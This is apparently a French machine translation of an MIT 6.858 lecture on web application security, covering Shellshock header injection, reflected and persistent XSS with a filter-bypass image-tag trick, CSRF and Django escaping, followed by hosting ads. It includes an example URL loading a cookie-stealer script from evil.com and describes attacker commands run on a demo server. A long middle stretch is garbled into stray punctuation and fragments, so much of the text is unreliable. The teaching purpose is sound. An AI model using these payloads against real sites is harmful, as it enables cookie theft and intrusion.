Cours MIT "Sécurité des systèmes informatiques". Conférence 9: Sécurité des applications Web, partie 1

Institut de technologie du Massachusetts. Cours magistral # 6.858. "Sécurité des systèmes informatiques." Nikolai Zeldovich, James Mickens. 2014 année

Computer Systems Security est un cours sur le développement et la mise en œuvre de systèmes informatiques sécurisés. Les conférences couvrent les modèles de menace, les attaques qui compromettent la sécurité et les techniques de sécurité basées sur des travaux scientifiques récents. Les sujets incluent la sécurité du système d'exploitation (OS), les fonctionnalités, la gestion du flux d'informations, la sécurité des langues, les protocoles réseau, la sécurité matérielle et la sécurité des applications Web.

Cours 1: «Introduction: modèles de menace» Partie 1 / Partie 2 / Partie 3
Conférence 2: «Contrôle des attaques de pirates» Partie 1 / Partie 2 / Partie 3
Conférence 3: «Débordements de tampon: exploits et protection» Partie 1 / Partie 2 / Partie 3
Conférence 4: «Séparation des privilèges» Partie 1 / Partie 2 / Partie 3
Conférence 5: «D'où viennent les systèmes de sécurité?» Partie 1 / Partie 2
Conférence 6: «Opportunités» Partie 1 / Partie 2 / Partie 3
Conférence 7: «Native Client Sandbox» Partie 1 / Partie 2 / Partie 3
Conférence 8: «Modèle de sécurité réseau» Partie 1 / Partie 2 / Partie 3
Conférence 9: «Sécurité des applications Web», partie 1 / partie 2 / partie 3

Commençons la deuxième conférence de notre impressionnante série d'histoires sur la sécurité Web. Je voudrais immédiatement procéder à une démonstration rapide d'exemples, car vous savez que nos démos ne fonctionnent presque jamais. J'espère que vous ne voyez pas d'écran vierge aujourd'hui.

L'idée de base est que je voudrais d'abord vous montrer un exemple d'une erreur Shellshock dont vous avez peut-être déjà entendu parler. C'était un sujet assez populaire dans la littérature sur la sécurité informatique.



Les gens attribuent à une erreur Heartbleed une note maximale de 10 sur une échelle de danger 10. Ils considèrent que c'est l'erreur la plus dangereuse contre laquelle le système de sécurité devrait se protéger. Je pensais que ce serait une excellente idée de vous montrer une histoire vivante de ce problème que vous pouvez raconter à vos parents afin qu'ils comprennent que les études au Massachusetts Institute of Technology valent la peine.

Alors, quelle est l'idée principale de l'erreur Shellshock? C'est un très bon exemple de la raison pour laquelle il est si difficile de créer des applications Web sécurisées qui couvrent plusieurs technologies, plusieurs langues, plusieurs systèmes d'exploitation, etc. Par conséquent, l'idée principale est que Shellshock utilise le fait qu'un attaquant peut créer une requête http spéciale sur le serveur et gérer les en-têtes de cette requête. J'ai écrit un exemple très simple au tableau.
Supposons qu'un attaquant veuille envoyer une demande GET à un CGI sur le sujet de la recherche de chats, car c'est exactement ce que les gens recherchent toujours sur Internet (je plaisante). Par conséquent, il y aura un point d'interrogation et une sorte d'en-tête d'hôte standard avec une URL, par exemple, example.com:

OBTENIR /querry.cgi? recherche = chats
Hôte: example.com
Personnalisé - en-tête: personnalisé - valeur

Notez maintenant qu'un attaquant peut également spécifier des en-têtes personnalisés. Par exemple, je souhaite trouver un type d'en-tête spécifique à l'application appelé Custom-header pour spécifier une valeur personnalisée, car l'application Web peut définir des fonctionnalités qui ne peuvent pas être exprimées à l'aide de simples en-têtes HTTP prédéfinis. Alors, tout cela semble plutôt inoffensif.
Mais au final, ce qui se passe, c'est que beaucoup de ces serveurs Web pour le traitement des scripts CGI acceptent réellement ces valeurs personnalisées de l'en-tête Custom-value et les utilisent pour définir les variables d'environnement Bash. Autrement dit, ils utiliseront cet en-tête personnalisé pour créer un en-tête personnalisé pour le nom de la variable Bash, ils prendront cette valeur personnalisée fournie par l'attaquant et l'utiliseront comme valeur de la variable Bash. Une fois cette variable définie, le serveur CGI effectuera un traitement du contexte de cet environnement.

Et c'est mauvais parce que les serveurs Web ne devraient pas prendre de valeurs arbitraires à partir de ces choses «sales» aléatoires. Ainsi, dans un exemple spécifique d'une erreur Shellshock, ce qui se passe est que si vous donnez à la variable Bash une valeur malveillante, une forme de folie peut commencer.



Fondamentalement, cette définition malveillante d'une fonction est choisie dans le langage de script Bash, et vous ne devriez pas être dérangé par les spécificités de ce processus. Mais le fait est que si le paramètre Bash était correctement défini, cette partie de / bin / id ne serait pas exécutée. Vous venez donc de définir une sorte de fonction stupide qui ne fait rien et met fin au processus de requête.

Cependant, cette séquence de caractères confond l'analyseur Bash; il semble trébucher sur ce non-sens situé après la barre oblique. Et puis il dit: "Oh, je pourrais continuer à analyser et exécuter certaines commandes ici, non?" Et dans ce cas, il exécute simplement la commande bin / id, qui affiche des informations sur l'utilisateur. Mais l'essence de la vulnérabilité est qu'au lieu de bin / id, vous pouvez mettre absolument n'importe quel code ici!

Je vais donner un exemple très simple que vous verrez à l'écran. Il s'agit d'un serveur Python très simple, le plus simple que vous puissiez imaginer. J'utilise ici la méthode GET. Cette méthode signifie l'itération sur tous les en-têtes HTTP dans la demande.





Ici, dans l'en-tête, nous avons une valeur pour la variable K et une valeur pour la requête V. Dans ce cas, GET affiche simplement les en-têtes qu'il trouve.

Et puis il va faire quelque chose de très stupide - faire un appel système et définir la valeur du shell directement sur la valeur indiquée dans l'en-tête. C'est donc toute la racine de la vulnérabilité.

Si je passe à l'onglet suivant et lance le serveur Web de la victime, nous constatons qu'il est prêt à accepter les demandes.



Ensuite, je peux écrire mon client Shellshock spécial - il se trouve dans l'onglet suivant.



En fait, c'est assez simple - je viens de définir une de ces lignes attack.str malveillantes, donc elle a d'abord de telles valeurs "courbes". Et puis je sais juste que côté serveur tout se fera désormais selon ma volonté.

Dans ce cas, j'ai utilisé quelque chose d'inoffensif - en écho "Je possède votre voiture". Mais il pourrait y avoir n'importe quoi. Vous pouvez exécuter un autre shell Bash avec le paramètre «echo ATTACKER CMD», c'est-à-dire la véritable commande de l'attaquant, ce qui peut être très dangereux.

J'ai donc défini les en-têtes et la demande de l'utilisateur, puis j'utilise Python pour créer une connexion HTTP et l'envoyer simplement au serveur. Que se passe-t-il finalement? J'utilise mon client Shellshock ici.



Vous voyez, l'erreur 404 est apparue ici, car peu importe le fichier que j'ai demandé, j'insère juste ici une sorte d'index qui n'existe pas en HTML. Mais si vous regardez ici, dans le deuxième onglet, où nous montrons le serveur Web de la victime qui a accepté de se connecter via le port 8282, nous verrons qu'il a reçu mes messages "Je possède votre voiture" et ATTACKER CMD.



Parce que dès que le serveur de la victime a reçu cet en-tête, il a immédiatement défini les valeurs de la variable Bash et, par conséquent, la commande ATTACKER CMD a été lancée. Est-ce clair?

Public: cela se produit-il si un programme commence par un tel titre?

Professeur: oui. Ainsi, les détails du fonctionnement de l'attaque dépendent de l'apparence de votre serveur Web, par exemple, que vous travailliez avec Apache ou non. Cet exemple est un peu tiré par les cheveux, car j'ai en fait créé un autre shell Bash, défini une variable de shell et puis seulement commencé le processus. Mais vous pouvez imaginer que si vous créez d'autres processus pour chaque connexion entrante, vous pouvez définir directement la variable d'environnement.

Public: Ainsi, si vous revenez au code du serveur web, il semble qu'il existe une vulnérabilité bien pire que Shellshock. Parce que vous pouvez effectuer un appel système et exécuter la commande simplement en définissant l'en-tête personnalisé sur autre chose, et je n'aurais pas à utiliser l'erreur Shellshock dans cet exemple.

Professeur: oui, c'est vrai, dans ce serveur Web particulier, que j'ai écrit uniquement à titre d'exemple, il y a une chose à laquelle on ne peut faire confiance pour rien. Mais si ici nous n'avions pas Python, mais Apache, alors nous pourrions directement définir la valeur de l'environnement pour un service particulier en utilisant le paramètre nth set. Mais il existe des serveurs comme celui-ci qui créent un processus distinct et font quelque chose de très similaire à l'exemple donné.



Un autre exemple que je voulais vous donner est l'exemple du scriptage intersite. Le bug de Shellshock était une sorte d'exemple de l'importance de la désinfection du contenu. Nous avons discuté du fait que vous ne devez pas simplement accepter les contributions de personnes aléatoires et les utiliser directement dans des équipes de tout type.

Les scripts intersites sont un autre exemple montrant pourquoi quelque chose pourrait mal se passer. Dans cet exemple, j'ai un autre serveur CGI simple écrit en Python.



Il s'agit du descripteur qui est exécuté lorsqu'une demande est reçue du client. J'ai imprimé quelques en-têtes ici pour la réponse, et ma réponse sera du texte HTML. Il s'avère que les navigateurs disposent de certains mécanismes de sécurité pour essayer de prévenir l'attaque que je vais vous montrer. Par conséquent, j'ai permis de désactiver certains des mécanismes de cette protection en plaçant cette barre de titre au début.

Le script CGI accède ensuite à tous les champs et demandes CGI, en commençant par la ligne form = cgi.FieldStorage (). Imaginez que tout ce qui se trouve dans la ligne après ce point d'interrogation représente le titre et les paramètres de notre exemple:

OBTENIR /querry.cgi? recherche = chats
Hôte: example.com
Personnalisé - en-tête: personnalisé - valeur

Ensuite, le script cgi fait une chose très simple - il imprime immédiatement la valeur de quelque chose qui vient de l'attaquant. C'est la même idée de base, et c'est une mauvaise idée, car cette fonction d'impression imprime la valeur résultante directement dans le HTML lui-même.

Ici, les événements suivants peuvent se produire. Supposons que j'ai un tas de requêtes que je veux exécuter. Dans cette première demande, je mets simplement la valeur du message à Bonjour, c'est-à-dire que je vais à l'adresse de la première ligne.



Par conséquent, si je vais sur ma page, je verrai le mot bonjour dessus, car le serveur accepte directement ce que je lui transmets et imprime «bonjour». Donc pas de surprise.



Je comprends que je peux vraiment y passer du code HTML arbitraire, et si je définis le format d'en-tête sur h1, c'est-à-dire que j'enverrai la deuxième ligne se terminant par bonjour au serveur, cela changera également sur la page - vous voyez, le style de mot a changé pour le style d'en-tête h1. Donc ça marche, je tape les valeurs directement dans la page.



Génial, maintenant nous sommes en affaires, et c'est cool. Maintenant, ajoutons simplement le code JavaScript, c'est-à-dire que nous exécuterons la troisième ligne préparée par moi dans le navigateur, où un certain script est inséré, qui s'exécute après le paramètre d'alerte ("XSS").

Alors maintenant, nous voyons un écran vide. Il semble que nous n'ayons pas réussi, car aucune sortie n'est visible, et je n'ai remarqué aucun avertissement.



Mais si je regarde la sortie du serveur Web, je verrai que le serveur Web lui-même n'a pas réellement reçu cette balise de script finale. Il semble que le navigateur lui-même ait détecté quelque chose de mal, bien que j'aie essayé de désactiver le filtre XSS. C'est donc assez intéressant. Plus tard, nous examinerons de plus près ce mécanisme de protection, mais pour l'instant, je noterai que le navigateur essaie de résister à une attaque de script intersite.

Mais vous pouvez profiter du fait que HTML, CSS et JavaScript sont des langages extrêmement complexes, et ils sont écrits d'une manière difficile à comprendre. J'en profiterai et utiliserai la dernière, quatrième ligne de mon entrée, en la plaçant dans la barre d'adresse du navigateur. Il s'agit d'une chaîne d'attaque contenant une URL non valide. Il inclut l'URL de l'image <IMG “” ”> et la balise de script”> et ne peut en fait pas être analysé. Par conséquent, à la réception d'une telle ligne, le navigateur est simplement confus et affiche des informations à l'écran: «La page à 127.0.0.1:8282 dit: XSS». Ainsi, la détection de script intersite intégrée ne fonctionne pas réellement.



Si nous cliquons sur le bouton «OK», nous aurons juste une page vierge. Mais si vous regardez son contenu, nous verrons des citations et des crochets incompréhensibles qui viennent de nulle part.



Cependant, du point de vue de l'attaquant, la page endommagée n'a pas d'importance, car nous avons vu un avertissement, ce qui signifie que le code a été lancé. Et il pourrait être utilisé pour voler des cookies ou faire quelque chose comme ça.

Public: quel est l'aspect intersite?

Professeur: L' aspect intersite est que si un attaquant peut convaincre un utilisateur d'aller sur une URL, comme dans cet exemple, alors c'est lui qui détermine le contenu du message. C'est lui qui crée l'avertissement XSS ou quelque chose comme ça. Essentiellement, ce qui se passe, c'est que la page de la victime exécute du code au nom de quelqu'un qui ne gère pas cette page.

Je vous ai donc montré deux démonstrations rapides du monde «sale» dans lequel nous vivons. Alors pourquoi les scripts intersites sont-ils si courants? Pourquoi ces problèmes sont-ils si importants? La raison en est que les sites Web deviennent de plus en plus dynamiques et qu'ils souhaitent héberger plusieurs contenus générés par les utilisateurs ou inclure du contenu provenant d'autres domaines. Pensez, par exemple, à la section des commentaires d'un article de presse, ces commentaires proviennent de personnes peu fiables - d'utilisateurs. D'une manière ou d'une autre, ces sites devraient déterminer quelles sont les règles pour combiner de telles choses.

Les sites Web peuvent contenir des documents utilisateur, tels que des documents Google ou Office 365. Tous ces documents proviennent de personnes peu fiables, mais ils doivent en quelque sorte s'entendre les uns avec les autres et avec la grande infrastructure de Google ou Microsoft.

Quels types de scénarios de sécurité intersites pouvons-nous utiliser? Un type de protection consiste en des filtres de script intersite dans le navigateur lui-même. Ces filtres tenteront de détecter d'éventuelles attaques de script intersite. Et nous avons vu l'un de ces filtres en action - c'était le troisième exemple du scénario que nous avons examiné.
Supposons que vous ayez l'URL foo.com/?q= <script src = "evil.com/cookie stealer.js">. Autrement dit, cette adresse exécute un script qui redirige l'utilisateur vers un site malveillant et lui vole des cookies.



Ainsi, le navigateur refusera de l'exécuter et l'astuce de cet attaquant ne fonctionnera pas. La raison est simple - le navigateur a juste vérifié s'il y avait une <script> intégrée dans cette URL et, l'ayant trouvée, a interdit de cliquer sur ce lien. Ainsi, c'est une heuristique très simple pour savoir si quelque chose de dangereux se produit, car aucun développeur normal ne mettra de telles choses dans l'adresse. Vous pouvez configurer les options de configuration de votre navigateur pour activer ou désactiver de telles choses. Cela est parfois utile pour les tests si vous voulez simplement saisir rapidement et sans trop de vérification certaines données JavaScript. Mais généralement, cette vérification dans le navigateur est activée par défaut.

Par exemple, Chrome et IE ont un filtre intégré qui examine la valeur de l'URL dans la barre d'adresse et recherche des choses similaires. Et s'ils sont là, le navigateur peut essayer de les supprimer complètement ou de vider la source à l'intérieur de <>. Il existe de nombreuses méthodes d'analyse heuristique basées sur les navigateurs qui devraient détecter de telles choses. Et si vous regardez le site Web OWASP, il existe des exemples d'utilisation d'une telle heuristique pour détecter les scripts intersites et des exemples de la façon de contourner ce filtre.

Vous savez, c'était très drôle, car au début, comme exemple pour notre conférence, j'ai fait quelque chose de similaire et cela n'a pas fonctionné. Ensuite, j'ai regardé dans la feuille de triche OWASP et j'ai trouvé la quatrième option qui fonctionnait, c'était un exemple avec une analyse cassée de l'adresse d'image img.

Ainsi, le principal problème, qui ne vous permet pas de simplement vous fier aux filtres de navigateur intégrés, est qu'il existe de nombreuses façons différentes de forcer les analyseurs CSS et HTML à analyser certains contenus de manière incorrecte. Les solutions embarquées ne sont donc pas parfaites, elles ne couvrent pas toutes les vulnérabilités.

Public: Mais n'est-ce pas la responsabilité du navigateur de vérifier de telles choses?

Professeur: Je veux dire le cas lorsque le navigateur est sur un serveur proxy et que le proxy fait quelque chose comme indiqué dans cet exemple. Autrement dit, les filtres intégrés ont du sens, car il peut y avoir de nombreux analyseurs à l'intérieur du navigateur, et ces filtres sont utilisés pour protéger les couches de gestionnaire à l'intérieur du navigateur.

Public: Je pense que nous pouvons dire qu'il est de la responsabilité du développeur Web, et non de l'utilisateur, de vérifier ces choses.

Professeur: dans un certain sens, nous pourrions dire que sous Unix ou Windows, il existe également des processus dont le développeur de logiciels, et non l'utilisateur, devrait s'occuper, et le développeur devrait s'assurer que ces choses restent isolées. Mais en réalité, le système d'exploitation et le matériel jouent également un rôle important, car sinon, on ne pourrait pas faire confiance aux programmes créés par des développeurs aléatoires. Mais fondamentalement, vous avez raison. En fait, des frameworks comme Django ou quelque chose de similaire essaient de vous aider à contourner certains de ces problèmes.

D'une manière ou d'une autre, les filtres ne sont pas une solution idéale et ne peuvent pas empêcher ce que l'on appelle des attaques de script intersites persistantes ou persistantes, XSS persistantes. C'est une sorte de réflexion, car le code du script «vit» simplement dans l'URL. Dès que l'utilisateur a fermé cette URL, l'attaque a pris fin.

Mais imaginez qu'un utilisateur a placé du code HTML malveillant dans la section des commentaires de votre site. , . , .



, – . HTML- .

? - , . HTML, , . .

: , , , , - ?

: , . , — post. , , XML HTTP .

: , , …

: , , . , . - , .

, , .

, « HTTP », HTTP-only cookie. , , JavaScript cookie. , , , : «, , JavaScript, cookie»! - .

, , . , . , JavaScript cookie, - , , URL- - , , buy.com. , , , Ferrari, attacker, .



, JavaScript, cookie, , URL-. , CSRF , .

, , , . , , . , - , , , Google, Office 365 . . , Google googleusercontent.com. , Gmail . -, 25- .



? , - , google.com. , google.com. .

, – . , -, , . , . — Django. -, , -.



Django , , . – . CSS , . , . Django , : , .



-. , Django, Django : «, -, , , CGI». Django , , . - CGI0, , .

Cependant, Django fait beaucoup mieux - il désinfecte le contenu utilisateur, car il attend de lui une astuce. Il place simplement immédiatement la valeur de la variable de nom ici, et l'encode de telle manière que ce contenu ne puisse jamais sortir du contexte HTML et exécuter du code JavaScript ou quelque chose comme ça.

26:25 min

Cours MIT "Sécurité des systèmes informatiques". Conférence 9: «Sécurité des applications Web», partie 2


La version complète du cours est disponible ici .

Merci de rester avec nous. Aimez-vous nos articles? Vous voulez voir des matériaux plus intéressants? Soutenez-nous en passant une commande ou en le recommandant à vos amis, une réduction de 30% pour les utilisateurs Habr sur un analogue unique de serveurs d'entrée de gamme que nous avons inventés pour vous: Toute la vérité sur VPS (KVM) E5-2650 v4 (6 cœurs) 10 Go DDR4 240 Go SSD 1 Gbps à partir de 20 $ ou comment diviser le serveur? (les options sont disponibles avec RAID1 et RAID10, jusqu'à 24 cœurs et jusqu'à 40 Go de DDR4).

VPS (KVM) E5-2650 v4 (6 cœurs) 10 Go DDR4 240 Go SSD 1 Gbit / s jusqu'en décembre gratuitement en payant pour une période de six mois, vous pouvez commander ici .

Dell R730xd 2 fois moins cher? Nous avons seulement 2 x Intel Dodeca-Core Xeon E5-2650v4 128 Go DDR4 6x480 Go SSD 1 Gbps 100 TV à partir de 249 $ aux Pays-Bas et aux États-Unis! Pour en savoir plus sur la création d'un bâtiment d'infrastructure. classe utilisant des serveurs Dell R730xd E5-2650 v4 coûtant 9 000 euros pour un sou?